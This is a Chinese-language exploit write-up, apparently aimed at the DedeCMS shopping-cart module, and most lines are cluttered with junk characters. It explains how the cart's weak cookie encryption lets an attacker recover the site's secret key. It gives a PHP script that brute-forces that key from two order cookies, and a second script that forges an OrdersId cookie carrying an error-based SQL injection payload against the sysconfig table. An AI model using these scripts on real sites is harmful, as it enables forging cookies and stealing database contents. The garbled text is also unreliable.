www.xxx.com/plus/search.php?keyword=
& }& g) j. K }在 include/shopcar.class.php中6 T) F% X: Y0 e; y' M4 w
先看一下这个shopcar类是如何生成cookie的
! y9 y# b- v8 O6 `# r; G239 function saveCookie($key,$value)
8 b# [9 m- ?# Z$ v/ I& E7 x7 J) J2 u240 {8 O9 @5 H; L7 _3 q
241 if(is_array($value))
' U& v: H/ _" X& l6 C242 {
: ^/ D. Q4 M' d! f/ t, O243 $value = $this->enCrypt($this->enCode($value));2 ]2 d" n, r2 y0 b) K; d. N9 m
244 }4 d2 x u6 V0 l. G3 `2 m
245 else( v- y9 t5 ]. C% a- E9 [
246 {% ?+ _ g* N% n2 ~9 ~
247 $value = $this->enCrypt($value);
' q& d7 G! E" l0 P248 }
K8 H E2 s2 a+ e/ ]4 x249 setcookie($key,$value,time()+36000,’/');
9 g8 A" @( [! b1 h250 }
- ~- Q3 X' E1 Y- z简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
# J& ]' i4 t9 \& H186 function enCrypt($txt)
' w; r5 f0 e" B, i187 {
# w: i3 v' Z, o; Y0 [188 srand((double)microtime() * 1000000);( t9 ], R* G( J3 u( n
189 $encrypt_key = md5(rand(0, 32000));! j* M5 K u/ Z
190 $ctr = 0; ? I7 G9 f! \4 P
191 $tmp = ”;
2 |4 b) J( y* @9 R192 for($i = 0; $i < strlen($txt); $i++)
" y+ J, S1 N2 a+ Y8 z. m4 e193 {+ O& S& l# `3 k( f- a
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
# q5 H* F5 z# q& q& j/ Q195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
A! S4 I# P2 a9 N( ~196 }
$ Y( x \ R% l3 k. e3 y) b197 return base64_encode($this->setKey($tmp));
, |# q$ i* c( q7 W198 }
8 [. z, J0 O/ x* S: b213 function setKey($txt)
6 A. j; w3 x- t214 {
+ D3 ]$ l1 K. Y0 M215 global $cfg_cookie_encode;
( L0 L: `3 V3 X$ k! c216 $encrypt_key = md5(strtolower($cfg_cookie_encode));# \' A" {- V3 K5 x9 b) ^ W
217 $ctr = 0;4 z% G1 p, I& @$ Y+ ?+ O
218 $tmp = ”;# T# f0 b' V2 o
219 for($i = 0; $i < strlen($txt); $i++)
/ H) [" v, A7 A2 ?220 {
# e" D. K, S! v6 q$ k' J1 R221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;! C1 h! X6 R( ]8 E9 B6 Q0 }7 ~3 y
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
: Q. V) T. w: F1 u* q9 p1 t3 d3 p2 s223 }2 ?; D9 w: {0 W
224 return $tmp;) D+ R9 H w: R; N9 m y
225 }
. o1 d4 g& }% z; V: TenCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的( j( L2 T1 _, w& H% [
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
0 J% f3 J5 Q4 O) P: i. d( e O# h具体代码如下:8 o2 X4 ^, l+ v- n- ~7 S a' r! Y5 l0 n
<?php
& s/ K' E; \/ U% a4 e# m a8 L' n$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
1 L& C6 p8 Q+ h4 o$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
! @7 k1 Z+ q6 I0 O9 H; K$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here) L0 {5 S* f- {- K! `8 o
function reStrCode($code,$string)
( c; P P/ m+ x1 o) f$ a- |{: F" b2 C, Y* s! r9 z8 N9 Z
$code = base64_decode($code); a) Q4 t9 R) B! n; i
$key = “”;- ~4 \+ N: I6 F" J
for($i=0 ; $i<32 ; $i++) ^; h: d/ P1 }" {' |4 K+ p
{
! b7 i8 j: Z. c! I0 X+ y7 N$key .= $string[$i] ^ $code[$i];
- y* q! S: t# m8 g( _* F j}$ {6 h" S4 r0 {! \" E
return $key;
/ P4 z5 P3 ]7 {" e5 b" p, {4 I}
$ X/ |& t- y; x$ n& e" a; gfunction getKeys($cookie,$plantxt)
8 s4 {5 p/ h0 {+ D{& r# n( l! h8 E2 \( L
$tmp = $cookie;* A" l" S( r0 D | V
$results = array();
- Y3 ?6 K. Q' P7 [; Pfor($j=0 ; $j < 32000; $j++)$ o- w6 \3 M L2 O; A; `
{$ O( L: \% ]; x( E$ @6 o6 y
) Y3 [$ x% r! a0 [+ }! p
$txt = $plantxt;
/ |6 M% s5 r* G8 W! m$ctr = 0;* }2 J/ {& Y1 T9 b
$tmp = ”;
* V; H( A! S) ^0 B! h5 q$encrypt_key = md5($j);: o5 _* V% Y) ?" ^
for($i =0; $i < strlen($txt); $i ++)
2 S; S) ?$ W! p5 T{" m9 R& D' W2 \# s
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
9 T* l% K# A& Z/ R$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
2 P2 C' B( ?5 p5 }4 z( O}8 {0 U1 O$ o8 g# b6 o8 Y
$string = $tmp;9 {- F6 X( m/ p7 p( B( v; C
$code = $cookie;1 s/ n! ^6 z1 B* W0 _) c
$result = reStrCode($code,$string);" G! G/ [0 l q
if(eregi(‘^[a-z0-9]+$’,$result))
" a! E- @- o' |4 _2 f$ K# l{
! i' A( w3 B" e& [ B8 Gecho $result.”\n”;
# `5 o& U/ }( G) n$results[] = $result;
) J l/ i- u4 c1 z0 T" n& v}+ b- d' X1 v, Q( W8 R9 _
}! E0 D7 U! A* B3 D6 W
return $results;' d W$ K, E$ P+ J1 Q! t% T
}
5 m3 R3 l/ k( b' h$results1 = getKeys($cookie1,$plantxt);
( A! L+ e. C; ~7 |/ j8 p$results2 = getKeys($cookie2,$plantxt);
. ^* u- [, _6 A6 I! f* w2 T" f% ~print “\n——————–real key————————–\n”;% p- Z0 L* R; b( n6 f
foreach($results1 as $test1)! Q7 u# T. j. [: }# l; h& J& j
{3 g9 `0 e, l5 _
foreach($results2 as $test2)
3 Q+ x8 Q: M$ Y{* |. |5 p5 E& _- n- {
if($test1 == $test2)
" I. o3 U: ]- c" |3 c{
: v/ O2 B+ M f" U5 R6 F# x. Kecho $test1.”\n”;! O+ ?+ _8 _) {4 l0 l
}
3 U8 k0 [7 B8 \7 I" a' S}5 Z k. n) ?, \7 s) u0 S
}% {4 `* h# B3 k p! A3 ?: [* D
?>% q0 y& j9 n I7 P* E9 K
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
* J9 R; j' F2 S5 W$ j0 B8 hplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
q2 U# n3 S W0 c然后推算出md5(strtolower($cfg_cookie_encode))/ J, j2 I( I% w
得到这个key之后,我们就可以构造任意购物车的cookie. G! X0 |; M- k& f
接着看
/ X- _8 u/ h6 v5 H' ]7 F& j9 n. M' {20 class MemberShops* W" o6 X* d" w/ x5 s' w( W4 B
21 {
6 a7 Q2 w1 @+ C* \* y7 k( g22 var $OrdersId;
1 ^7 w2 e {* z/ `6 D23 var $productsId;. W$ x, e6 G, X1 T' u- ?6 D1 ?3 [
24
/ P+ C6 ]2 M8 Y5 B3 U% o25 function __construct()
/ a/ O2 F/ e3 J7 ^26 {
) ^$ H. t1 W1 i6 k/ o- Y1 g27 $this->OrdersId = $this->getCookie(“OrdersId”);
7 G a2 }' F8 C2 ^( v* E+ X3 Z$ T28 if(empty($this->OrdersId))1 I3 y: T6 _! W3 j
29 {$ }- C- c# v) L8 z5 f* v( V
30 $this->OrdersId = $this->MakeOrders();, J; [( Z9 s' C& C0 |3 U' P
31 }5 o. B0 L9 D" I& ]7 A
32 }
$ |2 W3 M6 }$ z' w7 z V发现OrderId是从cookie里面获取的+ \& i/ F( a7 J/ v- U0 x4 i
然后( B8 m4 w4 q/ @* d2 P9 A( f
/plus/carbuyaction.php中的& n$ ]6 K* n- C; G- A' _+ Z
29 $cart = new MemberShops();- L1 {# \# t, M4 A2 i% U6 n
39 $OrdersId = $cart->OrdersId; //本次记录的订单号" W j, H: [6 R' o6 k7 X5 X
……9 _7 b4 {. f" A P
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
, }! O3 h$ }* S7 L接着我们就可以注入了: O- P4 w8 Q4 b* V" A
通过利用下面代码生成cookie:- B, I' l0 p" m5 O; L4 j" c6 G
<?php. n( K4 X$ a2 u2 W
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;+ s" c* R1 U3 o6 A* [
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here+ l5 @1 H" A Q" R$ V* ~; v
function setKey($txt)
2 L1 K$ q% [% P9 T{7 G, E: `. P* Q+ h$ T
global $encrypt_key;
8 A8 R) O/ w* ^" l0 Q$ctr = 0;
M: ]- \3 Z; T2 C$ d" h$tmp = ”;1 m* ~5 y0 c: h. w" r, b- @# x% _
for($i = 0; $i < strlen($txt); $i++)+ @, b. h1 T4 e5 k- n7 y" v/ i
{, w7 {/ m! j: s' X0 ~4 Q
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;1 P2 r2 Y9 G! \8 d, u `
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
5 C5 g. e6 G2 s- P}' ?2 i( u4 Y( O: s: ?
return $tmp;2 B: s: ]& d) s+ b/ d$ |8 l$ J
}% c; h/ n" m9 @! `; y
function enCrypt($txt)
3 o* P* k0 P* `4 j# a, B T0 i7 y{
; z% u3 J- j5 E( Msrand((double)microtime() * 1000000);
0 `) A3 h% }. ~# ~$encrypt_key = md5(rand(0, 32000));+ j2 r/ p% t% B- G& Y; L
$ctr = 0;- \0 X1 f& p9 ]; ^ R
$tmp = ”;& d. N/ d( C- O
for($i = 0; $i < strlen($txt); $i++)9 R2 A+ l5 n: N7 x l8 f
{
7 E0 j/ `) a* L! G$ R& U, a$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;* [2 p8 g* x4 R+ L0 z* I9 x/ [
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);* w; J7 t2 p$ ?
}
0 ]& H6 V" ~$ D a' `; Greturn base64_encode(setKey($tmp));: b; Z) @; V1 ?, A
}
: p9 J. m8 v6 ?0 Z" j y1 Sfor($dest =0;$dest = enCrypt($txt);)
G! t2 H9 B( p{3 K9 g \0 l8 _: @& k* d
if(!strpos($dest,’+'))
$ ~0 K$ _" P0 y6 @- B( x{8 Z9 p3 C3 m2 R- R
break;
) ^1 V+ { O# A( T5 u+ @}! j" }; K4 x7 t' {$ m& L
}
) P7 U# Z; G/ K$ Recho $dest.”\n”;- P' _$ |* Z( t, D- b2 _
?>
0 ]8 M- d6 h6 z3 R0 I) i9 | d- ?% E- Q) ^
|